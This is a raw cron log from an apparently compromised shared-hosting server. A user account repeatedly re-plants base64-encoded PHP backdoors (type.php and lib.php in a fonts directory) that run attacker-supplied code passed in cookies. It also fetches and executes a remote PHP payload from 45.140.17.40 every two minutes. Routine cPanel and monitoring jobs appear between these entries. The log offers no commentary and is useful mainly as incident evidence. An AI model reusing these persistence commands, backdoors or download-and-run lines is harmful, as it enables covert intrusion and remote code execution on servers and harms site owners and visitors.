Sep  4 08:32:01 ip-184-168-122-23 CROND[22527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:33:01 ip-184-168-122-23 CROND[22648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:33:01 ip-184-168-122-23 CROND[22649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:33:01 ip-184-168-122-23 CROND[22651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:33:01 ip-184-168-122-23 CROND[22653]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:34:01 ip-184-168-122-23 CROND[22837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:34:01 ip-184-168-122-23 CROND[22839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:34:01 ip-184-168-122-23 CROND[22840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:34:01 ip-184-168-122-23 CROND[22842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:34:01 ip-184-168-122-23 CROND[22841]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:35:01 ip-184-168-122-23 CROND[22945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:35:01 ip-184-168-122-23 CROND[22946]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 08:35:01 ip-184-168-122-23 CROND[22952]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:35:01 ip-184-168-122-23 CROND[22953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:35:01 ip-184-168-122-23 CROND[22951]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:35:01 ip-184-168-122-23 CROND[22949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:35:01 ip-184-168-122-23 CROND[22947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:35:01 ip-184-168-122-23 CROND[22954]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 08:36:01 ip-184-168-122-23 CROND[23061]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:36:01 ip-184-168-122-23 CROND[23062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:36:01 ip-184-168-122-23 CROND[23064]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:36:01 ip-184-168-122-23 CROND[23065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:36:01 ip-184-168-122-23 CROND[23063]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:37:01 ip-184-168-122-23 CROND[23160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:37:01 ip-184-168-122-23 CROND[23164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:37:01 ip-184-168-122-23 CROND[23166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:37:01 ip-184-168-122-23 CROND[23165]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:38:01 ip-184-168-122-23 CROND[23247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:38:01 ip-184-168-122-23 CROND[23246]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:38:01 ip-184-168-122-23 CROND[23250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:38:01 ip-184-168-122-23 CROND[23253]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:38:01 ip-184-168-122-23 CROND[23252]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:39:01 ip-184-168-122-23 CROND[23386]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:39:01 ip-184-168-122-23 CROND[23388]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 08:39:01 ip-184-168-122-23 CROND[23391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:39:01 ip-184-168-122-23 CROND[23395]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:39:01 ip-184-168-122-23 CROND[23394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:40:01 ip-184-168-122-23 CROND[23513]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:40:01 ip-184-168-122-23 CROND[23517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:40:01 ip-184-168-122-23 CROND[23518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:40:01 ip-184-168-122-23 CROND[23521]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:40:01 ip-184-168-122-23 CROND[23522]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:40:01 ip-184-168-122-23 CROND[23520]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:40:01 ip-184-168-122-23 CROND[23526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:40:01 ip-184-168-122-23 CROND[23519]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:41:01 ip-184-168-122-23 CROND[23644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:41:01 ip-184-168-122-23 CROND[23647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:41:01 ip-184-168-122-23 CROND[23646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:41:01 ip-184-168-122-23 CROND[23648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:42:01 ip-184-168-122-23 CROND[23745]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:42:01 ip-184-168-122-23 CROND[23746]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:42:01 ip-184-168-122-23 CROND[23747]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:42:01 ip-184-168-122-23 CROND[23748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:42:01 ip-184-168-122-23 CROND[23749]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:43:01 ip-184-168-122-23 CROND[23945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:43:01 ip-184-168-122-23 CROND[23944]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:43:01 ip-184-168-122-23 CROND[23946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:43:01 ip-184-168-122-23 CROND[23947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:44:01 ip-184-168-122-23 CROND[24029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:44:01 ip-184-168-122-23 CROND[24031]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 08:44:01 ip-184-168-122-23 CROND[24032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 08:44:01 ip-184-168-122-23 CROND[24033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 08:44:01 ip-184-168-122-23 CROND[24034]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
